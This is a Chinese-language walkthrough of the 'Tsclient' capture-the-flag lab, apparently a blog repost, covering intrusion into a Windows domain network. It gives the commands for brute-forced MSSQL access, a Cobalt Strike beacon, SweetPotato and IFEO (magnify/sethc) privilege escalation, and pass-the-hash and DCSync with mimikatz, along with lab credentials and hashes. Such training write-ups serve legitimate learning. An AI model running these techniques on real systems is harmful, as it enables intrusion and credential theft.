【渗透测试】春秋云镜-2-Tsclient靶场探索

admin 2024年2月15日19:28:22评论11 views字数 6742阅读22分28秒阅读模式

前言

该靶场难度位于中等水平,可以帮助学者更好的了解
内网渗透中:
代理转发、内网扫描、信息收集、特权提升、横向移动
以及对域环境核心认证机制的理解
包括掌握域环境渗透中一些技术要点

笔者属于浅学者,发布推文的目的只是为了
让更多和我一样的初学、浅学者能提升技术
所以本文写的会稍微细致一些,更贴合基础一些。
同样也会在文中提到一些笔者踩过的坑和排雷

总之:
希望能更好地帮助到每个和笔者一样的:
初学者、浅学者
笔记而已,靶场而已,不喜勿喷,大佬请喝茶~

0x00 整体思路与大纲

【渗透测试】春秋云镜-2-Tsclient靶场探索

0x01 获取入口:

信息搜集:

拿到靶标,fscan/nmap 扫一下端口开放情况:
可以看到目标开放了 1433 端口,同时这个端口的 MSSQL 存在弱口令,还是 sa 权限
【渗透测试】春秋云镜-2-Tsclient靶场探索
由此,拿到 mssql 的账号密码:
mssql:39.99.243.128:1433:sa 1qaz!QAZ
此时,打开MDUT(Multiple.Database.Utilization.Tools)进行连接:
【渗透测试】春秋云镜-2-Tsclient靶场探索
进入该页面后,我们尝试命令执行 whoami 看一下当前权
会发现提示 xp_cmdshell 组件是关闭的,利用激活组件功能开启即可:
【渗透测试】春秋云镜-2-Tsclient靶场探索
【渗透测试】春秋云镜-2-Tsclient靶场探索
可以看到权限并不高,是数据库的权限,那么我们就需要去提权

木马上线 CS、利用甜土豆提权:

(实现准备好公网 vps 的 CS、甜土豆)
先在 CS 上生成一个监听器和 x64-exe 的后门文件:
【渗透测试】春秋云镜-2-Tsclient靶场探索
利用 MDUT 工具上传该后门文件 artifact.exe 和甜土豆提权工具 sweetpotato.exe,如下:
【渗透测试】春秋云镜-2-Tsclient靶场探索
命令执行运行上线 CS:
C:/Users/Public/artifact.exe
【渗透测试】春秋云镜-2-Tsclient靶场探索
上线成功,修改 sleep 0 后,在 CS 的 beacon 中,执行 shell 语句:
shell c:\users\public\sweetpotato.exe -a whoami【渗透测试】春秋云镜-2-Tsclient靶场探索
可见提权成功,已经是管理员权限。
同样的,在 CS 的 beacon 中,执行 shell 语句,使其以 SYSTEM 权限上线 CS
shell c:\users\public\sweetpotato.exe -a "c:\users\public\artifact.exe"
【渗透测试】春秋云镜-2-Tsclient靶场探索
根据上一次的经验,我们猜测 flag 的位置为管理员用户目录下的 flag 文件夹,执行 shell 语句:
shell type C:UsersAdministratorflagflag01.txt
【渗透测试】春秋云镜-2-Tsclient靶场探索
获取 flag01

0x02 内网信息搜集:

上线 John 用户查看凭据:

查看机器内用户 :shell net user 发现用户 John
【渗透测试】春秋云镜-2-Tsclient靶场探索
hashdump 获取哈希(在system 权限下,可获取到目标系统内 hash 值)
【渗透测试】春秋云镜-2-Tsclient靶场探索
查看在线用户
shell quser || qwinst
【渗透测试】春秋云镜-2-Tsclient靶场探索
进入 CS 当前会话的进程,尝试使用进程注入,上线 John 用户:

要注意,注入进程第一次我眼花注入错了,你要注入 John 用户的进程,如下

【渗透测试】春秋云镜-2-Tsclient靶场探索

【渗透测试】春秋云镜-2-Tsclient靶场探索

可见已经上线,切换 John 的 session,查看该用户的共享信息:
shell net use
【渗透测试】春秋云镜-2-Tsclient靶场探索
我们可以尝试获取一下共享下是否有保存的凭据文件:
dir tsclientc 可以看到存在。
查看凭据内容:
shell type \tsclientccredential.txt

credential.txt 为凭据文件

【渗透测试】春秋云镜-2-Tsclient靶场探索
发现存在:xiaorang.labAldrich:Ald@rLMWuy7Z!#

xiaorang.lab 是根域名
Aldrich 是用户名
Ald@rLMWuy7Z!#是密码

还有一句话,大家先记住,这是一句提示,后面会用到

fscan 探测内网信息:

在当前 session 下去 CS 的 files 模块,直接上传 fscan(或者有些插件的内置功能也可以),进行探测
【渗透测试】春秋云镜-2-Tsclient靶场探索

这里因为 public 目录下文件较少,而且之前工具也都上传到了这里,所以 fscan 也传这里

shell C:UsersPublicfscan.exe -h 172.22.8.0/24

【渗透测试】春秋云镜-2-Tsclient靶场探索

这里为了方便,直接把 fscan 的结果贴出来,因为我是录屏,可能截图会糊

[*] Tasked beacon to run: type C:UsersPublicresult.txt
[+] host called home, sent: 62 bytes
[+] received output:
172.22.8.18:1433 open
172.22.8.46:445 open
172.22.8.15:445 open
172.22.8.31:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.15:139 open
172.22.8.31:139 open
172.22.8.18:80 open
172.22.8.18:139 open
172.22.8.46:135 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.31:135 open
172.22.8.46:80 open
172.22.8.15:88 open
[*] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:18e2:831:d89c:c7f
[*] NetBios: 172.22.8.31     XIAORANGWIN19-CLIENT
[*] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.8.15     [+]DC XIAORANGDC01
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ

提取一下信息:

域控:172.22.8.15 [+]DC XIAORANGDC01
域成员:172.22.8.46 WIN2016.xiaorang.lab
入口机:172.22.8.18

0x03 搭建代理进行内网渗透:

通过 CS 来搭建一个 socks 代理,但是要注意:

你起的代理本质上,是在 CS 服务端,也就是你外网的 vps 上,不然怎么上代理嘛,但是地址不要填错 这里我是通过 CS 起 sock 代理、kali 虚拟机 proxychains 连接代理。

CS 运行:socks 1088 ,在 vps 的 1088 端口开启 socks4 代理,随后,kali 上:
mousepad /etc/proxychains4.conf

并在底部,添加你的代理,格式为:

代理协议 代理地址(VPS) 代理端口
【渗透测试】春秋云镜-2-Tsclient靶场探索
配置好之后,我个人习惯把终端都加上代理,这样的话后面不用重复输入 proxychains

顺便 curl 一下内网的 web,看看代理搭建成功了没:
【渗透测试】春秋云镜-2-Tsclient靶场探索

使用凭据文件获取的密码与 CME,进行密码喷洒:

crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' > ./111.txt
写入 txt 里面,因为这个过程我这里显示会比较乱,结束之后,并且用 cat 查看,txt 直接打开我有乱码
【渗透测试】春秋云镜-2-Tsclient靶场探索
可以看到:这台 8.46 显示状态为:密码过期
【渗透测试】春秋云镜-2-Tsclient靶场探索
修改密码的方式有很多,比如使用 rdesktop 远程修改,但我这边习惯用 impacket,贴上链接:

impacket 脚本:https://github.com/fortra/impacket/releases/tag/impacket_0_11_0

这里使用 smbpasswd 修改 DC01 域控的密码 :
python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123456@qy'
其实刚刚这里 smbpasswd 脚本执行的时候,我是遇到过些问题的
【渗透测试】春秋云镜-2-Tsclient靶场探索
可以看到有报错出现,那么我们定位到该脚本所在行:
【渗透测试】春秋云镜-2-Tsclient靶场探索
发现,其实也就是一个 print,那你说没有 WARNING_BANNER 输入不了,那我直接索性,print 注释掉试一下
于是乎,执行成功了.....(莫名其妙,原生 python3 原生脚本报错了,然后去掉 print 就好了,复盘的时候也不理解为什么。。。)
执行成功截图:
【渗透测试】春秋云镜-2-Tsclient靶场探索

继续:

后面可以使用 ldapshell.py 脚本(LDAPshell-main)进行验证,查看是否修改成功
python3 ldapshell.py xiaorang.lab/Aldrich:123456@[email protected]
修改成功

这里可以使用脚本批量自动检查,或手动修改去尝试,根据 fscan 的结果机器数量并不多,最后结果为:

只有172.22.8.46这台机器可以远程登录。

所以现在这台 8.46 的机器的账号密码为:

[email protected] :123456@qy

那么就可以尝试远程登陆了。

socks4 代理配合 proxifier 远程 rdp 登录:

先再起一个 cs 的代理,1099 端口
【渗透测试】春秋云镜-2-Tsclient靶场探索
然后配置 win 虚拟机的 proxifier:

这里正好说一下,可能更有助于初学者理解:
proxifier 也好,proxychains 也好,都是代理工具;
他们的作用,是起到衔接,也就是:

服务端的代理--代理工具--客户端/客户端的某个程序

配置代理服务器:
【渗透测试】春秋云镜-2-Tsclient靶场探索
配置代理规则(只给一个 RDP 就可以了,也就是 mstsc.exe)
【渗透测试】春秋云镜-2-Tsclient靶场探索
需要注意的是,proxifier 代理,可能由于你的配置,造成 python 无限连接死循环,这个比较蛋疼
尤其是对于一些基于 python 运行的程序,所以这里先暂时只开 rdp 的 mstsc.exe 给过代理即可。

下面尝试连接:
【渗透测试】春秋云镜-2-Tsclient靶场探索
提示输入密码,这里输入你修改好的即可:
[email protected] :123456@qy

这里正常登录:
【渗透测试】春秋云镜-2-Tsclient靶场探索

但同时,也发现,这台 8.46 是不出网的,什么意思呢?
虽然根据之前 fscan 的信息搜集,我们看到他有 web 服务,但这种场景,是很常见的
也就是说:
你可以访问到他的 web 应用,但他的主机本身,并不能访问外网。

但我还想让他上线 CS,但直接上线肯定是不行的,所以就需要:
通过入口机做中转,使不出网的内网主机上线 CS

0x04 CS 中转上线不出网主机

这一步可能有些师傅会想,那我正常在 cs 上创建一个监听,然后回连地址用刚刚的入口机,不就可以了?
答案是不行的,还是因为 CS 本身处在外网
虽然他运行后门后,会去找内网的 8.18 主机弹 shell,但是 8.18 怎么接收呢?
所以,行不通,还是按照正确步骤来:

如果对这方面不太懂的师傅们,可以先看这个文章,不出网转发上线 CS:https://blog.csdn.net/qq_44159028/article/details/124979813

通过入口机,转发上线不出网主机:

1.
先去 172.22.1.18 这台机器上,按照下面方式,创建监听:
【渗透测试】春秋云镜-2-Tsclient靶场探索
2.
看到弹出创建监听的窗口,如图,已经是中转 8.18 的设置了,选择名称,绑定 John 的会话直接 save 即可
【渗透测试】春秋云镜-2-Tsclient靶场探索
3.
选择带 S 的,意思是不区分阶段
【渗透测试】春秋云镜-2-Tsclient靶场探索
4.
然后选择刚中转的监听,直接生成 exe 即可
【渗透测试】春秋云镜-2-Tsclient靶场探索
5.
【渗透测试】春秋云镜-2-Tsclient靶场探索
运行后会发现已经中转上线 8.46:
【渗透测试】春秋云镜-2-Tsclient靶场探索

映像劫持提权:

通过刚刚的提示,提醒我们的第三句话:
【渗透测试】春秋云镜-2-Tsclient靶场探索

得知需要用到映像劫持提权, 下面进入 PowerShell 查看注册表权限,输入:
get-acl -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options" | fl *
【渗透测试】春秋云镜-2-Tsclient靶场探索
发现 NT AUTHORITYAuthenticated Users allow .......
也就是说,所有账号密码登陆的用户,都可以对注册表进行写入/修改
那么就可以通过这个权限问题,修改注册表,进行提权

映像劫持提权的方式还是有很多种的,比如:
劫持到放大镜、劫持到 shift 后门 都可以

我这里用的是放大镜:

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsmagnify.exe" /v Debugger /d "C:windowssystem32cmd.exe"

或者你也可以用 shift5 次, 镜像劫持到 shift 后门 :REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"

执行:
【渗透测试】春秋云镜-2-Tsclient靶场探索
下面我们锁定这台电脑就好,然后右下角点击放大镜,就会弹出来管理员的 cmd
但是这里需要注意!!!!
如果你通过组合键来关闭(我 win 渗透环境也在虚拟机),默认可能会锁定你的本机
所以需要在连接设置的时候,修改为如下:
【渗透测试】春秋云镜-2-Tsclient靶场探索
或者就直接通过左下角的用户头像,选择锁定

锁定后,点击放大镜,会弹出 cmd,可见是管理员 cmd【渗透测试】春秋云镜-2-Tsclient靶场探索
然后我们在这里运行我们的 cs 后门,即可上线 system 权限的 172.22.8.46
【渗透测试】春秋云镜-2-Tsclient靶场探索
直接查看 flag02:(别忘了去 SYSTEM 的 session 下执行)
shell type C:UsersAdministratorflagflag02.txt
【渗透测试】春秋云镜-2-Tsclient靶场探索
flag02 到手。

0x05 域渗透拿下域控:

域用户信息搜集:

直接 cs 的 beacon 执行:
logonpasswords
得到下面这堆(录屏截的很费力,翻的过程中截图的)
【渗透测试】春秋云镜-2-Tsclient靶场探索

shell net user /domain
【渗透测试】春秋云镜-2-Tsclient靶场探索

域管用户信息收集:

shell net group "domain admins" /domain
【渗透测试】春秋云镜-2-Tsclient靶场探索
这里可以发现,WIN2016$ 也在域管组里面,所以机器账户可以直接通过 hash 传递去登录域控

根据 logonpasswords 的信息搜集,已知:

Username : WIN2016$
Domain : XIAORANG
NTLM : 52ef59d99cce49355ee17a7d25a8deae

mimikatz 注入哈希

上传 mimikatz,利用猕猴桃注入机器账户的哈希值:
【渗透测试】春秋云镜-2-Tsclient靶场探索

shell C:\Users\Aldrich\Desktop\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:52ef59d99cce49355ee17a7d25a8deae" "exit"
【渗透测试】春秋云镜-2-Tsclient靶场探索

可见注入哈希是成功的

Dcsync :

利用 mimikatz dcsync dump 域控的哈希:

shell C:\Users\Aldrich\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab  /user:Administrator" "exit"
shell C:\Users\Aldrich\Desktop\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

【渗透测试】春秋云镜-2-Tsclient靶场探索
hash:2c9d81bdcf3ec8b1def10328a7cc2f08

通过哈希传递,登陆域控:

【渗透测试】春秋云镜-2-Tsclient靶场探索
拿到 cmd 直接读取 flag:
【渗透测试】春秋云镜-2-Tsclient靶场探索
这里还用的是之前 impacket 的脚本,但是也可以用 kali 的 CME,一个道理
我之前那个靶场最后用的就是 CME(crackmapexec):
crackmapexec smb 172.22.8.15 -u WIN2016$ -H哈希值 -d xiaorang.lab -x "type UsersAdministratorflagflag03.txt"
即可。

到此结束

谢谢观看,浅学者,不喜勿喷,笔记而已

【渗透测试】春秋云镜-2-Tsclient靶场探索

原文始发于微信公众号(阿原茶庄):【渗透测试】春秋云镜-2-Tsclient靶场探索

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:28:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透测试】春秋云镜-2-Tsclient靶场探索https://cn-sec.com/archives/2253558.html

发表评论

匿名网友 填写信息